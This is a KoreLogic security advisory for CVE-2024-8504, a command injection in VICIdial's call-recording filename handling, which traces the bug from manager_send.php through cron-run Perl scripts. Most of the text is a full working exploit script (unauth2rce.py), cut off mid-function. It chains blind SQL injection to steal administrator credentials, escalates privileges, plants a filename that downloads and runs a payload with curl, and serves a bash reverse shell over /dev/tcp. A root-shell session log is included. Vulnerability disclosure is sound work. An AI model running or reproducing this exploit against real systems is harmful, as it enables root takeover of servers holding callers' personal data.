771 lines
35 KiB
Plaintext
771 lines
35 KiB
Plaintext
-----BEGIN PGP SIGNED MESSAGE-----
|
|
Hash: SHA256
|
|
|
|
KL-001-2024-012: VICIdial Authenticated Remote Code Execution
|
|
|
|
Title: VICIdial Authenticated Remote Code Execution
|
|
Advisory ID: KL-001-2024-012
|
|
Publication Date: 2024-09-10
|
|
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt
|
|
|
|
|
|
1. Vulnerability Details
|
|
|
|
Affected Vendor: VICIdial
|
|
Affected Product: VICIdial
|
|
Affected Version: 2.14-917a
|
|
Platform: GNU/Linux
|
|
CWE Classification: CWE-78: Improper Neutralization of Special
|
|
Elements used in an OS Command
|
|
('OS Command Injection')
|
|
CVE ID: CVE-2024-8504
|
|
|
|
|
|
2. Vulnerability Description
|
|
|
|
An attacker with authenticated access to VICIdial as an "agent"
|
|
can execute arbitrary shell commands as the "root" user. This
|
|
attack can be chained with CVE-2024-8503 to execute arbitrary
|
|
shell commands starting from an unauthenticated perspective.
|
|
|
|
|
|
3. Technical Description
|
|
|
|
VICIdial is an open-source contact center suite, mainly used
|
|
by call centers. The "vicidial.com" website boasts over 14,000
|
|
registered installations. There is a public SVN repository to
|
|
access the source code, as well as an ISO that can be used to
|
|
install the software. The ISO was used in a virtual machine
|
|
for testing purposes.
|
|
|
|
Users can be added to specific "groups" that enable them to log
|
|
into the "agent" web client if that group is associated with a
|
|
"campaign". This web client is for agents to manage inbound
|
|
and outbound phone calls, displaying pertinent information
|
|
regarding the "lead", such as the personal information of the
|
|
individual on the other end of the call.
|
|
|
|
An agent has the ability to record the phone call using the
|
|
"START RECORDING" button. When clicked, an HTTP request is sent
|
|
to the server which is processed by the "manager_send.php"
|
|
PHP script. The "filename" parameter included in the request
|
|
is sanitized with the "preg_replace" PHP function to prevent
|
|
SQL injection, as shown by this snippet:
|
|
|
|
if (isset($_GET["filename"])) {$filename=$_GET["filename"];}
|
|
elseif (isset($_POST["filename"])) {$filename=$_POST["filename"];}
|
|
...
|
|
$filename = preg_replace("/\'|\"|\\\\|;/","",$filename);
|
|
|
|
The regular expression used to sanitize this parameter is
|
|
very permissive, only removing single quotes, double quotes,
|
|
backslashes, and semicolons.
|
|
|
|
Later in the execution of "manager_send.php", the "filename"
|
|
variable is added to a SQL database through an "INSERT"
|
|
statement, along with other user-controlled variables such as
|
|
"exten":
|
|
|
|
$stmt="INSERT INTO vicidial_manager values('','','$NOW_TIME',
|
|
'NEW','N','$server_ip','','Originate','$vmgr_callerid',
|
|
'Channel: $channel','Context: $ext_context',
|
|
'Exten: $exten','Priority: $ext_priority',
|
|
'Callerid: $filename','','','','','');";
|
|
if ($format=='debug') {echo "\n<!-- $stmt -->";}
|
|
$rslt=mysql_to_mysqli($stmt, $link);
|
|
|
|
On the server-side, an asyncronous cron job is executing the
|
|
perl script "ADMIN_keepalive_ALL.pl":
|
|
|
|
vicibox11:/ # crontab -l | grep keepalive
|
|
### keepalive script for astguiclient processes
|
|
* * * * * /usr/share/astguiclient/ADMIN_keepalive_ALL.pl
|
|
|
|
This perl script ensures several worker perl scripts
|
|
are running. Included in these worker perl scripts is
|
|
"AST_manager_send.pl", as shown by this snippet from
|
|
"ADMIN_keepalive_ALL.pl":
|
|
|
|
if ($psline[1] =~ /AST_manager_se/)
|
|
{
|
|
$runningAST_send++;
|
|
if ($DB) {print "AST_send RUNNING: |$psline[1]|\n";}
|
|
}
|
|
...
|
|
if ( ($AST_send_listen > 0) && ($runningAST_send < 1) )
|
|
{
|
|
if ($DB) {print "starting AST_manager_send...\n";}
|
|
# add a '-L' to the command below to activate logging
|
|
`/usr/bin/screen -d -m -S ASTsend
|
|
$PATHhome/AST_manager_send.pl $debug_string`;
|
|
|
|
The "AST_manager_send.pl" script will continuously monitor the
|
|
"vicidial_manager" table in the SQL database for records with
|
|
the "status" column equal the string "NEW". Values from that
|
|
row are then URL-encoded and used as command-line arguments
|
|
to invoke the "AST_send_action_child.pl" perl script:
|
|
|
|
while ($endless_loop > 0)
|
|
{
|
|
my $stmtA = "SELECT count(*) from
|
|
vicidial_manager where server_ip = '"
|
|
. $conf{VARserver_ip} . "' and status = 'NEW';";
|
|
...
|
|
$originate_command .= $vdm->{cmd_line_e} . "\n"
|
|
if ($vdm->{cmd_line_e});
|
|
$originate_command .= $vdm->{cmd_line_f} . "\n"
|
|
if ($vdm->{cmd_line_f});
|
|
$originate_command .= $vdm->{cmd_line_g} . "\n"
|
|
if ($vdm->{cmd_line_g});
|
|
...
|
|
$vdm->{cmd_line_e} =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
|
|
$vdm->{cmd_line_f} =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
|
|
$vdm->{cmd_line_g} =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
|
|
...
|
|
$launch .= " --cmd_line_e=" . $vdm->{cmd_line_e}
|
|
if ($vdm->{cmd_line_e});
|
|
$launch .= " --cmd_line_f=" . $vdm->{cmd_line_f}
|
|
if ($vdm->{cmd_line_f});
|
|
$launch .= " --cmd_line_g=" . $vdm->{cmd_line_g}
|
|
if ($vdm->{cmd_line_g});
|
|
...
|
|
$launch .= " >> " . $conf{PATHlogs} . "/action_send." . logDate()
|
|
if ($SYSLOG);
|
|
system($launch . ' &');
|
|
|
|
The "AST_send_action_child.pl" will then initiate a telnet
|
|
connection to the "Asterisk Call Manager" and issue various
|
|
commands as they appear in the command-line arguments:
|
|
|
|
my $tn = new Net::Telnet (Port => $telnet_port,
|
|
Prompt => '/\r\n/',
|
|
Output_record_separator => '',
|
|
Errmode => "return");
|
|
...
|
|
$tn->open("$telnet_host");
|
|
$tn->waitfor('/Asterisk Call Manager\//');
|
|
...
|
|
$originate_command .= $cmd_line_e . "\n" if ($cmd_line_e);
|
|
$originate_command .= $cmd_line_f . "\n" if ($cmd_line_f);
|
|
$originate_command .= $cmd_line_g . "\n" if ($cmd_line_g);
|
|
...
|
|
my @list_channels = $tn->cmd(String => $originate_command,
|
|
Prompt => '/.*/');
|
|
|
|
These commands are then processed by the Asterisk
|
|
Management interface (AMI). The configuration file
|
|
"extensions-vicidial.conf" contains useful information on
|
|
how AMI processes the value of the user-controlled "Exten"
|
|
command. The following is a relevant snippet:
|
|
|
|
exten => 8309,1,Answer
|
|
exten => 8309,2,Monitor(wav,${CALLERID(name)})
|
|
exten => 8309,3,Wait(3600)
|
|
exten => 8309,4,Hangup()
|
|
...
|
|
|
|
When supplying an "Exten" value of "8309", the "Monitor"
|
|
application is invoked, which will record the current call and
|
|
write the recorded data into a file. The default directory
|
|
is "/var/spool/asterisk/monitor". In this case, the name
|
|
of the file is derived from the "CALLERID", which is also
|
|
user-controlled.
|
|
|
|
This can be leveraged by an attacker to write file names
|
|
that contain malicious shell commands. Take for example the
|
|
following HTTP request:
|
|
|
|
POST /agc/manager_send.php HTTP/1.1
|
|
Host: REDACTED
|
|
Content-Length: 279
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
|
|
server_ip=REDACTED&session_name=1716765726_8300defaul17394646&user=korelogic&pass=korelogic&ACTION=MonitorConf&format=text&channel=Local/58600051@default&filename=3133731337$(id>foobar.txt)&exten=8309&ext_context=default&lead_id=&ext_priority=1&FROMvdc=YES&uniqueid=&FROMapi=
|
|
|
|
Two files are created within the "/var/spool/asterisk/monitor"
|
|
directory:
|
|
|
|
vicibox11:/ # ls -l /var/spool/asterisk/monitor
|
|
total 216
|
|
-rw-r--r-- 1 root root 213164 May 30 05:30 \
|
|
3133731337$(id>foobar.txt)-in.wav
|
|
-rw-r--r-- 1 root root 44 May 30 05:30 \
|
|
3133731337$(id>foobar.txt)-out.wav
|
|
|
|
Additionally, the "AST_CRON_audio_1_move_VDonly.pl" perl script
|
|
is executed every 3 minutes:
|
|
|
|
vicibox11:/ # crontab -l | grep VDonly
|
|
0,3,6,9,12,15,18,21,24,27,30,33,36,39,42,45,48,51,54,57 * * * * \
|
|
/usr/share/astguiclient/AST_CRON_audio_1_move_VDonly.pl
|
|
|
|
This script searches for WAV/GSM files within the Asterisk
|
|
monitor directory and uses the file names to execute several
|
|
shell commands:
|
|
|
|
foreach(@FILES)
|
|
{
|
|
...
|
|
$INfile = $FILES[$i];
|
|
...
|
|
if (!$T)
|
|
{
|
|
`mv -f "$dir1/$INfile" "$dir2/$ALLfile"`;
|
|
`rm -f "$dir1/$OUTfile"`;
|
|
}
|
|
|
|
The malicious file name is then inserted into the "mv"
|
|
command. The attacker controlled "id" command is executed and
|
|
the output is redirected to the file "foo.txt":
|
|
|
|
vicibox11:/ # ls -l /root/foobar.txt
|
|
-rw-r--r-- 1 root root 39 May 30 05:33 /root/foobar.txt
|
|
|
|
|
|
4. Mitigation and Remediation Recommendation
|
|
|
|
This issue has been remediated in the public svn/trunk codebase,
|
|
as of revision 3848 committed 2024-07-08.
|
|
|
|
|
|
5. Credit
|
|
|
|
This vulnerability was discovered by Jaggar Henry of KoreLogic,
|
|
Inc.
|
|
|
|
|
|
6. Disclosure Timeline
|
|
|
|
2024-07-05 : KoreLogic requests security contact from
|
|
support@vicidial.com.
|
|
2024-07-08 : KoreLogic reports vulnerability details to VICIdial
|
|
contact.
|
|
2024-07-08 : VICIdial notifies KoreLogic that the issue has been
|
|
remediated with revision 3848 in the public
|
|
Subversion repository.
|
|
2024-07-11 : KoreLogic confirms this vulnerability has been
|
|
remediated. KoreLogic asks VICIdial if it is
|
|
appropriate to publicly disclose the vulnerability
|
|
details at this time.
|
|
2024-07-11 : VICIdial requests four weeks of embargo in order to
|
|
upgrade supported customers.
|
|
2024-08-05 : KoreLogic asks VICIdial if it is appropriate to
|
|
publicly disclose the vulnerability details at
|
|
this time.
|
|
2024-08-09 : VICIdial requests an additional two weeks of
|
|
embargo.
|
|
2024-09-10 : KoreLogic public disclosure.
|
|
|
|
|
|
7. Proof of Concept
|
|
|
|
Instead of executing the "id" command, a malicious bash script
|
|
can be downloaded and executing using the cURL utility. The following
|
|
file name is an example:
|
|
|
|
$(curl$IFS@attacker.com$IFS-o$IFS.c&&bash$IFS.c)
|
|
|
|
This issue can be chained with KL-001-2024-011 (unauthenticated SQL injection)
|
|
to execute arbitrary shell commands as the root user from an unauthenticated
|
|
perspective:
|
|
|
|
[goon@security exploits]$ python unauth2rce.py -rh 192.168.2.136 -rp 443 -wh 192.168.2.65 -wp 3000 -lh 192.168.2.65 -lp 1337 --bind
|
|
[+] Target appears vulnerable to time-based SQL injection
|
|
[~] Enumerating administrator credentials
|
|
[~] 6
|
|
[~] 66
|
|
[~] 666
|
|
[~] 6666
|
|
[+] Username: 6666
|
|
[~] J
|
|
[~] JA
|
|
[~] JAB
|
|
[~] JAB1
|
|
[~] JAB18
|
|
[~] JAB181
|
|
[~] JAB181M
|
|
[~] JAB181MA
|
|
[~] JAB181MAB
|
|
[~] JAB181MAB1
|
|
[~] JAB181MAB17
|
|
[~] JAB181MAB178
|
|
[~] JAB181MAB178_
|
|
[~] JAB181MAB178_L
|
|
[~] JAB181MAB178_LA
|
|
[~] JAB181MAB178_LAn
|
|
[+] Password: JAB181MAB178_LAn
|
|
[+] Authenticated successfully as user "6666"
|
|
[+] Updated user settings to increase privileges
|
|
[+] Updated system settings
|
|
[+] Created dummy campaign "korelogic_campaign"
|
|
[+] Updated dummy campaign settings
|
|
[+] Created dummy list for campaign
|
|
[+] Found phone credentials: callin:test
|
|
[+] Entered "manager" credentials to override shift enforcement
|
|
[+] Authenticated as agent using phone credentials
|
|
[~] Listening for incoming connections...
|
|
[+] Received cURL request from 192.168.2.136
|
|
Connection from 192.168.2.136:56980
|
|
vicibox11:~ # id
|
|
uid=0(root) gid=0(root) groups=0(root)
|
|
|
|
#########################
|
|
## unauth2rce.py ##
|
|
#########################
|
|
|
|
import os
|
|
import re
|
|
import socket
|
|
import string
|
|
import random
|
|
import urllib3
|
|
import argparse
|
|
import requests
|
|
import threading
|
|
from base64 import b64encode
|
|
from bs4 import BeautifulSoup
|
|
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
|
|
class Exploit:
|
|
def __init__(self, rhost, rport, whost, wport, lhost=None, lport=None, bind=False, proxy=None):
|
|
"""
|
|
This 'sleep' duration is derived by the average response time
|
|
multiplied by this value. A server with an average response time
|
|
of 10ms is given a 'sleep' duration of 300ms. Tune as needed.
|
|
"""
|
|
self.SLEEP_MULTIPLIER = 30
|
|
|
|
self.REQUEST_HEADERS = {'User-Agent': 'KoreLogic'}
|
|
self.ALLOWED_SCHEMES = ['http', 'https']
|
|
if proxy:
|
|
self.REQUEST_PROXIES = {
|
|
'http': proxy,
|
|
'https': proxy
|
|
}
|
|
else:
|
|
self.REQUEST_PROXIES = {}
|
|
|
|
self.TARGET_IP = rhost
|
|
self.TARGET_PORT = rport
|
|
|
|
self.PAYLOAD_WEBSERVER_HOST = whost
|
|
self.PAYLOAD_WEBSERVER_PORT = wport
|
|
|
|
self.REVERSE_SHELL_HOST = lhost
|
|
self.REVERSE_SHELL_PORT = lport
|
|
|
|
self.BIND = bind
|
|
|
|
self.VICIDIAL_FINGERPRINT = 'Please Hold while I redirect you!'
|
|
self.RANDOM_CHARSET = string.ascii_uppercase + string.digits
|
|
|
|
# returns a URI with 'http' or 'https'
|
|
def determine_target_uri(self):
|
|
for scheme in self.ALLOWED_SCHEMES:
|
|
target_uri = f'{scheme}://{self.TARGET_IP}:{self.TARGET_PORT}'
|
|
try:
|
|
response = requests.get(target_uri, headers=self.REQUEST_HEADERS, verify=False)
|
|
if self.VICIDIAL_FINGERPRINT in response.text:
|
|
return target_uri
|
|
except:
|
|
pass
|
|
|
|
# returns a session object with custom proxies/headers if supplied
|
|
def build_requests_session(self):
|
|
self.base_uri = self.determine_target_uri()
|
|
session = requests.Session()
|
|
session.proxies = self.REQUEST_PROXIES
|
|
session.verify = False
|
|
return session
|
|
|
|
# returns a random string of a given length
|
|
def random(self, length):
|
|
return ''.join(random.choice(self.RANDOM_CHARSET) for _ in range(length))
|
|
|
|
# returns a timedelta representing the response time of an injected SQL query
|
|
def time_sql_query(self, query, session):
|
|
username = f"goolicker', '', ({query}));# "
|
|
credentials = f'{username}:password'
|
|
credentials_base64 = b64encode(credentials.encode()).decode()
|
|
auth_header = f'Basic {credentials_base64}'
|
|
|
|
target_uri = f'{self.base_uri}/VERM/VERM_AJAX_functions.php'
|
|
request_params = {'function': 'log_custom_report', self.random(5): self.random(5)}
|
|
request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header}
|
|
|
|
response = session.get(target_uri, params=request_params, headers=request_headers)
|
|
return response.elapsed
|
|
|
|
# returns a boolean if time-based SQL injection is possible, additionally
|
|
# sets the best 'sleep' duration based on response times
|
|
def is_vulnerable(self, session, baseline_iterations=5):
|
|
# determine average baseline response time
|
|
zero_sleep_query = f'SELECT (NULL)'
|
|
total_baseline_time = 0
|
|
for _ in range(baseline_iterations):
|
|
execution_time = self.time_sql_query(zero_sleep_query, session)
|
|
total_baseline_time += execution_time.total_seconds()
|
|
|
|
average_baseline_response_time = total_baseline_time / baseline_iterations
|
|
self.sql_baseline_time = average_baseline_response_time
|
|
|
|
# determine if injected sleep query impacts response time
|
|
sleep_length = round(average_baseline_response_time * self.SLEEP_MULTIPLIER, 2)
|
|
sleep_query = f'SELECT (sleep({sleep_length}))'
|
|
execution_time = self.time_sql_query(sleep_query, session)
|
|
if execution_time.total_seconds() >= sleep_length:
|
|
self.sql_sleep_length = sleep_length
|
|
return True
|
|
else:
|
|
return False
|
|
|
|
# determine if a character at a specific indice of a query result returns a
|
|
# boolean 'true' when compared to a given character using the supplied operator
|
|
def check_indice_of_query_result(self, session, query, indice, operator, ordinal):
|
|
parent_query = f'SELECT IF(ORD((SUBSTRING(({query}), {indice}, {indice}))){operator}{ordinal}, sleep({self.sql_sleep_length}), null)'
|
|
execution_time = self.time_sql_query(parent_query, session)
|
|
return execution_time.total_seconds() >= (self.sql_baseline_time * self.SLEEP_MULTIPLIER)
|
|
|
|
def enumerate_sql_query(self, session, query='SELECT @@version', charset=string.printable):
|
|
# convert charset to ordinals
|
|
all_characters = sorted([ord(char) for char in charset])
|
|
reduced_characters = all_characters
|
|
|
|
# use a binary search and enumerate query results
|
|
result = ''
|
|
indice = 1
|
|
indice_could_be_null = True
|
|
while True:
|
|
"""
|
|
we check if the value is NULL once per indice
|
|
to determine when a string ends. this adds one
|
|
request per indice, but since every boolean 'true'
|
|
results in a delay this is faster than counting
|
|
the length of the string before enumrating.
|
|
"""
|
|
if indice_could_be_null:
|
|
if self.check_indice_of_query_result(session, query, indice, '=', '0'):
|
|
break
|
|
else:
|
|
indice_could_be_null = False
|
|
|
|
# enumerate each character of query result with a binary search
|
|
middle_indice = len(reduced_characters) // 2
|
|
middle_ordinal = reduced_characters[middle_indice]
|
|
if self.check_indice_of_query_result(session, query, indice, '<=', middle_ordinal):
|
|
if self.check_indice_of_query_result(session, query, indice, '=', middle_ordinal):
|
|
reduced_characters = all_characters
|
|
result += chr(middle_ordinal)
|
|
indice += 1
|
|
indice_could_be_null = True
|
|
print(f'[~] {result}')
|
|
else:
|
|
reduced_characters = reduced_characters[:middle_indice]
|
|
else:
|
|
reduced_characters = reduced_characters[middle_indice:]
|
|
|
|
return result
|
|
|
|
def poison_recording_files(self, session, username, password):
|
|
# authenticate using administrator credentials
|
|
credentials = f'{username}:{password}'
|
|
credentials_base64 = b64encode(credentials.encode()).decode()
|
|
auth_header = f'Basic {credentials_base64}'
|
|
|
|
target_uri = f'{self.base_uri}/vicidial/admin.php'
|
|
request_params = {'ADD': '3', 'user': username}
|
|
request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header}
|
|
|
|
response = session.get(target_uri, params=request_params, headers=request_headers)
|
|
if response.status_code == 200:
|
|
print(f'[+] Authenticated successfully as user "{username}"')
|
|
else:
|
|
print('[-] Failed to authenticate with credentials. Maybe hashing is enabled?')
|
|
return
|
|
|
|
# update user settings to increase privileges beyond default administrator
|
|
user_settings_body = {
|
|
"ADD":"4A","custom_fields_modify":"0","user":username,"DB":"0","pass":password,
|
|
"force_change_password":"N","full_name":"KoreLogic","user_level":"9",
|
|
"user_group":"ADMIN","phone_login":"KoreLogic","phone_pass":"KoreLogic",
|
|
"active":"Y","voicemail_id":"","email":"","mobile_number":"","user_code":"",
|
|
"user_location":"","user_group_two":"","territory":"","user_nickname":"",
|
|
"user_new_lead_limit":"-1","agent_choose_ingroups":"1","agent_choose_blended":"1",
|
|
"hotkeys_active":"0","scheduled_callbacks":"1","agentonly_callbacks":"0",
|
|
"next_dial_my_callbacks":"NOT_ACTIVE","agentcall_manual":"0","manual_dial_filter":"DISABLED",
|
|
"agentcall_email":"0","agentcall_chat":"0","vicidial_recording":"1","vicidial_transfers":"1",
|
|
"closer_default_blended":"0","user_choose_language":"0","selected_language":"default+English",
|
|
"vicidial_recording_override":"DISABLED","mute_recordings":"DISABLED",
|
|
"alter_custdata_override":"NOT_ACTIVE","alter_custphone_override":"NOT_ACTIVE",
|
|
"agent_shift_enforcement_override":"ALL","agent_call_log_view_override":"Y",
|
|
"hide_call_log_info":"Y","agent_lead_search":"NOT_ACTIVE","lead_filter_id":"NONE",
|
|
"user_hide_realtime":"0","allow_alerts":"0","preset_contact_search":"NOT_ACTIVE",
|
|
"max_inbound_calls":"0","max_inbound_filter_enabled":"0","max_inbound_filter_min_sec":"-1",
|
|
"inbound_credits":"-1","max_hopper_calls":"0","max_hopper_calls_hour":"0",
|
|
"wrapup_seconds_override":"-1","ready_max_logout":"-1","status_group_id":"",
|
|
"campaign_js_rank_select":"","campaign_js_grade_select":"","ingroup_js_rank_select":"",
|
|
"ingroup_js_grade_select":"","RANK_AGENTDIRECT":"0","GRADE_AGENTDIRECT":"10",
|
|
"LIMIT_AGENTDIRECT":"-1","WEB_AGENTDIRECT":"","RANK_AGENTDIRECT_CHAT":"0",
|
|
"GRADE_AGENTDIRECT_CHAT":"10","LIMIT_AGENTDIRECT_CHAT":"-1","WEB_AGENTDIRECT_CHAT":"",
|
|
"custom_one":"","custom_two":"","custom_three":"","custom_four":"","custom_five":"",
|
|
"qc_enabled":"0","qc_user_level":"1","qc_pass":"0","qc_finish":"0","qc_commit":"0",
|
|
"hci_enabled":"0","realtime_block_user_info":"0","admin_hide_lead_data":"0",
|
|
"admin_hide_phone_data":"0","ignore_group_on_search":"0","user_admin_redirect_url":"",
|
|
"view_reports":"1","access_recordings":"0","alter_agent_interface_options":"1",
|
|
"modify_users":"1","change_agent_campaign":"1","delete_users":"1","modify_usergroups":"1",
|
|
"delete_user_groups":"1","modify_lists":"1","delete_lists":"1","load_leads":"1",
|
|
"modify_leads":"1","export_gdpr_leads":"0","download_lists":"1","export_reports":"1",
|
|
"delete_from_dnc":"1","modify_campaigns":"1","campaign_detail":"1","modify_dial_prefix":"1",
|
|
"delete_campaigns":"1","modify_ingroups":"1","delete_ingroups":"1","modify_inbound_dids":"1",
|
|
"delete_inbound_dids":"1","modify_custom_dialplans":"1","modify_remoteagents":"1",
|
|
"delete_remote_agents":"1","modify_scripts":"1","delete_scripts":"1","modify_filters":"1",
|
|
"delete_filters":"1","ast_admin_access":"1","ast_delete_phones":"1","modify_call_times":"1",
|
|
"delete_call_times":"1","modify_servers":"1","modify_shifts":"1","modify_phones":"1",
|
|
"modify_carriers":"1","modify_email_accounts":"0","modify_labels":"1","modify_colors":"1",
|
|
"modify_languages":"0","modify_statuses":"1","modify_voicemail":"1","modify_audiostore":"1",
|
|
"modify_moh":"1","modify_tts":"1","modify_contacts":"1","callcard_admin":"1",
|
|
"modify_auto_reports":"0","add_timeclock_log":"1","modify_timeclock_log":"1",
|
|
"delete_timeclock_log":"1","manager_shift_enforcement_override":"1","pause_code_approval":"1",
|
|
"admin_cf_show_hidden":"0","modify_ip_lists":"0","ignore_ip_list":"0",
|
|
"two_factor_override":"NOT_ACTIVE","vdc_agent_api_access":"1","api_list_restrict":"0",
|
|
"api_allowed_functions%5B%5D":"ALL_FUNCTIONS","api_only_user":"0","modify_same_user_level":"1",
|
|
"download_invalid_files":"1","alter_admin_interface_options":"1","SUBMIT":"SUBMIT"
|
|
}
|
|
response = session.post(target_uri, headers=request_headers, data=user_settings_body)
|
|
print('[+] Updated user settings to increase privileges')
|
|
|
|
# update system settings without clobbering existing configuration
|
|
response = session.get(target_uri, headers=request_headers, params={'ADD':'311111111111111'})
|
|
soup = BeautifulSoup(response.text, 'html.parser')
|
|
form_tag = soup.find('form')
|
|
system_settings_body = {}
|
|
for input_tag in form_tag.find_all('input'):
|
|
setting_name = input_tag['name']
|
|
setting_value = input_tag['value']
|
|
system_settings_body[setting_name] = setting_value
|
|
|
|
for select_tag in form_tag.find_all('select'):
|
|
setting_name = select_tag['name']
|
|
selected_tag = select_tag.find('option', selected=True)
|
|
if not selected_tag:
|
|
continue
|
|
setting_value = selected_tag.text
|
|
system_settings_body[setting_name] = setting_value
|
|
|
|
system_settings_body['outbound_autodial_active'] = '0'
|
|
response = session.post(target_uri, headers=request_headers, data=system_settings_body)
|
|
print('[+] Updated system settings')
|
|
|
|
# create dummy campaign
|
|
campaign_settings_body = {
|
|
"ADD":"21","park_ext":"","campaign_id":"313373","campaign_name":"korelogic_campaign",
|
|
"campaign_description":"","user_group":"---ALL---","active":"Y","park_file_name":"",
|
|
"web_form_address":"","allow_closers":"Y","hopper_level":"1","auto_dial_level":"0",
|
|
"next_agent_call":"random","local_call_time":"12pm-5pm","voicemail_ext":"","script_id":"",
|
|
"get_call_launch":"NONE","SUBMIT":"SUBMIT"
|
|
}
|
|
response = session.post(target_uri, headers=request_headers, data=campaign_settings_body)
|
|
print('[+] Created dummy campaign "korelogic_campaign"')
|
|
|
|
# update dummy campaign
|
|
update_campaign_body = {
|
|
"ADD":"41","campaign_id":"313373","old_campaign_allow_inbound":"Y",
|
|
"campaign_name":"korelogic_campaign","active":"Y","dial_status":"","lead_order":"DOWN",
|
|
"list_order_mix":"DISABLED","lead_filter_id":"NONE", "no_hopper_leads_logins":"Y",
|
|
"hopper_level":"1","reset_hopper":"N","dial_method":"RATIO","auto_dial_level":"1",
|
|
"adaptive_intensity":"0","SUBMIT":"SUBMIT","form_end":"END"
|
|
}
|
|
response = session.post(target_uri, headers=request_headers, data=update_campaign_body)
|
|
print('[+] Updated dummy campaign settings')
|
|
|
|
# create dummy list
|
|
list_settings_body = {
|
|
"ADD":"211","list_id":"313374","list_name":"korelogic_list","list_description":"",
|
|
"campaign_id":"313373","active":"Y","SUBMIT":"SUBMIT"
|
|
}
|
|
response = session.post(target_uri, headers=request_headers, data=list_settings_body)
|
|
print('[+] Created dummy list for campaign')
|
|
|
|
# fetch credentials for a phone login
|
|
response = session.get(target_uri, headers=request_headers, params={'ADD':'10000000000'})
|
|
soup = BeautifulSoup(response.text, 'html.parser')
|
|
phone_uri_path = soup.find('a', string='MODIFY')['href']
|
|
|
|
response = session.get(f'{self.base_uri}{phone_uri_path}', headers=request_headers)
|
|
soup = BeautifulSoup(response.text, 'html.parser')
|
|
phone_extension = soup.find('input', {'name': 'extension'})['value']
|
|
phone_password = soup.find('input', {'name': 'pass'})['value']
|
|
recording_extension = soup.find('input', {'name': 'recording_exten'})['value']
|
|
print(f'[+] Found phone credentials: {phone_extension}:{phone_password}')
|
|
|
|
# authenticate to agent portal with phone credentials
|
|
manager_login_body = {
|
|
"DB":"0","JS_browser_height":"1313","JS_browser_width":"2560","phone_login":phone_extension,
|
|
"phone_pass":phone_password,"LOGINvarONE":"","LOGINvarTWO":"","LOGINvarTHREE":"","LOGINvarFOUR":"",
|
|
"LOGINvarFIVE":"","hide_relogin_fields":"","VD_login":username,"VD_pass":password,
|
|
"MGR_override":"1","relogin":"YES","VD_login":username,"VD_pass":password,
|
|
"MGR_login20240530":username,"MGR_pass20240530":password,"SUBMIT":"SUBMIT"
|
|
}
|
|
response = session.post(f'{self.base_uri}/agc/vicidial.php', headers=request_headers, data=manager_login_body)
|
|
print(f'[+] Entered "manager" credentials to override shift enforcement')
|
|
|
|
agent_login_body = {
|
|
"DB":"0","JS_browser_height":"1313","JS_browser_width":"2560","admin_test":"","LOGINvarONE":"",
|
|
"LOGINvarTWO":"","LOGINvarTHREE":"","LOGINvarFOUR":"","LOGINvarFIVE":"","phone_login":phone_extension,
|
|
"phone_pass":phone_password,"VD_login":username,"VD_pass":password,"VD_campaign":"313373",
|
|
}
|
|
response = session.post(f'{self.base_uri}/agc/vicidial.php', headers=request_headers, data=agent_login_body)
|
|
print(f'[+] Authenticated as agent using phone credentials')
|
|
|
|
# insert malicious recording
|
|
session_name = re.findall(r"var session_name = '([a-zA-Z0-9_]+?)';", response.text)[0]
|
|
session_id = re.findall(r"var session_id = '([0-9]+?)';", response.text)[0]
|
|
malicious_filename = f"3133731337$(curl$IFS@{self.PAYLOAD_WEBSERVER_HOST}:{self.PAYLOAD_WEBSERVER_PORT}$IFS-o$IFS.c&&bash$IFS.c)"
|
|
record1_body = {
|
|
"server_ip":self.TARGET_IP,"session_name":session_name,"user":username,"pass":password,
|
|
"ACTION":"MonitorConf","format":"text","channel":f"Local/{recording_extension}@default","filename":malicious_filename,
|
|
"exten":recording_extension,"ext_context":"default","lead_id":"","ext_priority":"1","FROMvdc":"YES",
|
|
"uniqueid":"","FROMapi":""
|
|
}
|
|
response = session.post(f'{self.base_uri}/agc/manager_send.php', headers=request_headers, data=record1_body)
|
|
recording_id = re.findall(r'RecorDing_ID: ([0-9]+)', response.text)[0]
|
|
|
|
# stop malicious recording to prevent file size from growing
|
|
record2_body = {
|
|
"server_ip":self.TARGET_IP,"session_name":session_name,"user":username,
|
|
"pass":password,"ACTION":"StopMonitorConf","format":"text","channel":f"Local/{recording_extension}@default",
|
|
"filename":f"ID:{recording_id}","exten":session_id,"ext_context":"default","lead_id":"","ext_priority":"1",
|
|
"FROMvdc":"YES","uniqueid":"","FROMapi":""
|
|
}
|
|
response = session.post(f'{self.base_uri}/agc/conf_exten_check.php', headers=request_headers, data=record2_body)
|
|
|
|
# returns administrator username and password by
|
|
# exploiting time-based SQL injection.
|
|
def extract_admin_credentials(self, session):
|
|
print('[~] Enumerating administrator credentials')
|
|
username_charset = string.ascii_letters + string.digits
|
|
admin_username_query = "SELECT user FROM vicidial_users WHERE user_level = 9 AND modify_same_user_level = '1' LIMIT 1"
|
|
admin_username = self.enumerate_sql_query(session, admin_username_query, username_charset)
|
|
print(f'[+] Username: {admin_username}')
|
|
|
|
password_charset = string.ascii_letters + string.digits + '-.+/=_'
|
|
admin_password_query = f"SELECT pass FROM vicidial_users WHERE user = '{admin_username}' LIMIT 1"
|
|
admin_password = self.enumerate_sql_query(session, admin_password_query, password_charset)
|
|
print(f'[+] Password: {admin_password}')
|
|
|
|
return admin_username, admin_password
|
|
|
|
# emulates a webserver to deliver exploit script
|
|
def payload_webserver(self):
|
|
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
server.bind((self.PAYLOAD_WEBSERVER_HOST, int(self.PAYLOAD_WEBSERVER_PORT)))
|
|
server.listen(1)
|
|
|
|
while True:
|
|
client, incoming_address = server.accept()
|
|
message = client.recv(100)
|
|
if b'User-Agent: curl' in message:
|
|
break
|
|
else:
|
|
client.close()
|
|
|
|
print(f'[+] Received cURL request from {incoming_address[0]}')
|
|
exploit_script = f"#!/bin/bash\nbash -i >& /dev/tcp/{self.REVERSE_SHELL_HOST}/{self.REVERSE_SHELL_PORT} 0>&1"
|
|
http_response = f"HTTP/1.1 200 OK\r\n"
|
|
